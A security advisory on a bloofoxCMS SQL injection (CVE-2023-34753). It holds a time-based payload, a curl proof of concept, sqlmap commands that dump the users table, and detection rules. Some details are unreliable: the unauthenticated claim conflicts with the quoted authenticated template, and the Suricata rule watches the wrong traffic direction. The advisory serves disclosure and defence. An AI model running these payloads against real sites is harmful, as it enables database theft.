CVE-2023-34753

Executive Summary

CVE-2023-34753 is a critical SQL injection vulnerability discovered in bloofoxCMS version 0.5.2.1. The flaw resides in the tid parameter within the template editing functionality, accessible at /admin/index.php?mode=settings&page=tmpl&action=edit. An unauthenticated attacker can exploit this vulnerability to execute arbitrary SQL commands, leading to full database compromise, data exfiltration, and potential server takeover. The vulnerability is publicly documented with a proof-of-concept (PoC) and a Nuclei template, making it a high-priority threat for any instance running the affected version.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a direct flaw in the bloofoxCMS web application source code. No supply chain component is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) - Exploitable remotely.
• Attack Complexity: Low (AC:L) - No special conditions required.
• Privileges Required: None (PR:N) - No authentication needed.
• User Interaction: None (UI:N) - No user action required.
• Scope: Unchanged (S:U) - Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) - Full database read access.
• Integrity Impact: High (I:H) - Ability to modify or delete database content.
• Availability Impact: High (A:H) - Potential for denial of service via SQL manipulation.

Threat Level: Critical. The combination of remote exploitability, no authentication requirement, and high impact makes this a severe threat.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the tid parameter of the template editing functionality. The application fails to sanitize or parameterize user input before constructing SQL queries. The vulnerable code path is in the admin/index.php script when handling the mode=settings&page=tmpl&action=edit request.

Vulnerable Code Snippet (Conceptual):

// Vulnerable code in bloofoxCMS 0.5.2.1
$tid = $_POST['tid'];
$query = "SELECT * FROM templates WHERE id = $tid";
$result = mysqli_query($conn, $query);

The $tid variable is directly concatenated into the SQL query without any sanitization or prepared statements. An attacker can inject arbitrary SQL by providing a malicious value for tid.

Exploitation Mechanism: The attacker sends a POST request to the vulnerable endpoint with a crafted tid parameter. The PoC uses a time-based blind SQL injection technique:

tid='+AND+(SELECT+7401+FROM+(SELECT(SLEEP(6)))hwrS)--+

This payload causes the database to sleep for 6 seconds if the injection is successful, confirming the vulnerability. The attacker can then extract data character by character using similar time-based or error-based techniques.

Vulnerable vs. Patched Code

Vulnerable Code (bloofoxCMS 0.5.2.1):

$tid = $_POST['tid'];
$query = "SELECT * FROM templates WHERE id = $tid";
$result = mysqli_query($conn, $query);

Patched Code (Hypothetical - No official patch available):

$tid = $_POST['tid'];
$stmt = $conn->prepare("SELECT * FROM templates WHERE id = ?");
$stmt->bind_param("i", $tid);
$stmt->execute();
$result = $stmt->get_result();

The patched version uses a prepared statement with a parameterized query, which prevents SQL injection by separating SQL logic from user data. The bind_param function ensures the tid value is treated as an integer, not executable code.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running bloofoxCMS 0.5.2.1
• Network access to the admin panel (default: /admin/index.php)
• No authentication required for the vulnerable endpoint

Exploitation Steps:

1. Verify Vulnerability: Use the Nuclei template or manual request to confirm the time-based SQL injection.

   nuclei -t CVE-2023-34753.yaml -u http://target.com
   

2. Manual Exploitation with sqlmap:

   sqlmap -u "http://target.com/admin/index.php?mode=settings&page=tmpl&action=edit" --data="tid=1&send=Save" --batch --dbs
   

3. Extract Data:

   sqlmap -u "http://target.com/admin/index.php?mode=settings&page=tmpl&action=edit" --data="tid=1&send=Save" -D bloofox --tables
   sqlmap -u "http://target.com/admin/index.php?mode=settings&page=tmpl&action=edit" --data="tid=1&send=Save" -D bloofox -T users --dump
   

PoC Request (cURL):

curl -X POST "http://target.com/admin/index.php?mode=settings&page=tmpl&action=edit" \
  -d "name=default&template=default.html&css=default.css&template_print=print.html&template_print_css=print.css&template_login=login.html&template_text=text.html&be=0&tid='+AND+(SELECT+7401+FROM+(SELECT(SLEEP(6)))hwrS)--+&send=Save"

Blue Team (Defensive)

Detection:

• Monitor for POST requests to /admin/index.php with mode=settings&page=tmpl&action=edit containing suspicious tid parameters (e.g., SQL keywords, sleep functions).
• Look for unusual response times (e.g., >5 seconds) from the admin panel.
• Deploy WAF rules to block SQL injection patterns in the tid parameter.

Hunting:

• Search web server logs for requests containing tid= followed by SQL syntax (e.g., AND, OR, SELECT, SLEEP).
• Correlate with database query logs for unexpected queries against the templates table.

Containment:

• Immediately isolate the affected server.
• Disable the template editing functionality if possible.
• Apply input validation and parameterized queries as a temporary fix.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /admin/index.php?mode=settings&page=tmpl&action=edit with tid parameter containing SQL keywords.
• HTTP responses with unusually long delays (time-based SQLi).
• Outbound database connections from the web server to unknown IPs (data exfiltration).

File IOCs:

• Modified template files in the templates/ directory.
• Suspicious entries in web server access logs (e.g., tid=' OR '1'='1).

System IOCs:

• Unexpected database users or privileges.
• New cron jobs or scripts for data exfiltration.
• Unusual network connections from the database server.

Detection Engineering

YARA Rule

rule CVE_2023_34753_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2023-34753 in bloofoxCMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-34753"
        severity = "critical"
    strings:
        $sqli_pattern1 = /tid=.*['\"]\s*(AND|OR)\s+.*SELECT/i
        $sqli_pattern2 = /tid=.*SLEEP\s*\(/i
        $sqli_pattern3 = /tid=.*UNION\s+SELECT/i
        $sqli_pattern4 = /tid=.*--\s*$/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2023-34753 SQL Injection Attempt
id: 8a4b6c2d-1e3f-4a5b-9c7d-8e9f0a1b2c3d
status: experimental
description: Detects SQL injection attempts against bloofoxCMS template editing functionality
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'mode=settings&page=tmpl&action=edit'
        cs-uri-query|contains: 'tid='
    keywords:
        - 'AND'
        - 'OR'
        - 'SELECT'
        - 'SLEEP'
        - 'UNION'
        - '--'
    condition: selection and keywords
falsepositives:
    - Legitimate use of template names containing these keywords (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-34753 - bloofoxCMS SQL Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/admin/index.php";
    http_uri;
    content:"mode=settings&page=tmpl&action=edit";
    http_uri;
    content:"tid=";
    http_client_body;
    pcre:"/tid=.*['\"]\s*(AND|OR)\s+.*SELECT/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Nuclei Template (Provided)

id: CVE-2023-34753

info:
  name: bloofoxCMS v0.5.2.1 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    bloofox v0.5.2.1 was discovered to contain a SQL injection vulnerability via the tid parameter at admin/index.php?mode=settings&page=tmpl&action=edit.
  impact: |
    Authenticated attackers can exploit SQL injection through the tid parameter in the template settings page to extract database contents, manipulate CMS data, and potentially execute commands on the underlying database server.
  remediation: |
    Update bloofoxCMS to a version newer than 0.5.2.1 that uses parameterized queries or prepared statements for the tid parameter in admin/index.php template editing functionality.
  reference:
    - https://www.bloofox.com
    - https://ndmcyb.hashnode.dev/bloofox-v0521-was-discovered-to-contain-many-sql-injection-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2023-34753
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-34753
    cwe-id: CWE-89
    epss-score: 0.33243
    epss-percentile: 0.96931
    cpe: cpe:2.3:a:bloofox:bloofoxcms:0.5.2.1:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 2
    vendor: bloofox
    product: bloofoxcms
    fofa-query:
      - "Powered by bloofoxCMS"
      - powered by bloofoxcms
  tags: time-based-sqli,cve,cve2023,sqli,bloofox,authenticated,vuln

http:
  - raw:
      - |
        POST /admin/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&action=login
      - |
        @timeout: 10s
        POST /admin/index.php?mode=settings&page=tmpl&action=edit HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        name=default&template=default.html&css=default.css&template_print=print.html&template_print_css=print.css&template_login=login.html&template_text=text.html&be=0&tid='+AND+(SELECT+7401+FROM+(SELECT(SLEEP(6)))hwrS)--+&send=Save

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - duration>=6
          - contains(header_2, "text/html")
          - contains(body_2, 'bloofoxCMS Admincenter')
        condition: and

Remediation & Mitigation

Immediate Actions:

1. Isolate the System: Disconnect the affected server from the network to prevent data exfiltration.
2. Disable Template Editing: Temporarily remove or comment out the vulnerable functionality in admin/index.php.
3. Apply Input Validation: Implement strict input validation for the tid parameter (allow only integers).
4. Use Parameterized Queries: Rewrite the database query using prepared statements.

Long-term Fix:

• Upgrade to a patched version of bloofoxCMS (if available) or migrate to a supported CMS.
• Conduct a full security audit of the application code.
• Implement a Web Application Firewall (WAF) with SQL injection rules.
• Enable detailed logging and monitoring for all admin panel activities.

Workaround (if patching is not possible):

• Restrict access to the admin panel using IP whitelisting or VPN.
• Implement a reverse proxy with WAF capabilities (e.g., ModSecurity).
• Manually sanitize the tid parameter by casting it to an integer:

  $tid = (int)$_POST['tid'];
  

Valters IT
Securing Digital Frontiers

{/* [Security Hash: D1442094124D0C1E3DEC837A] */}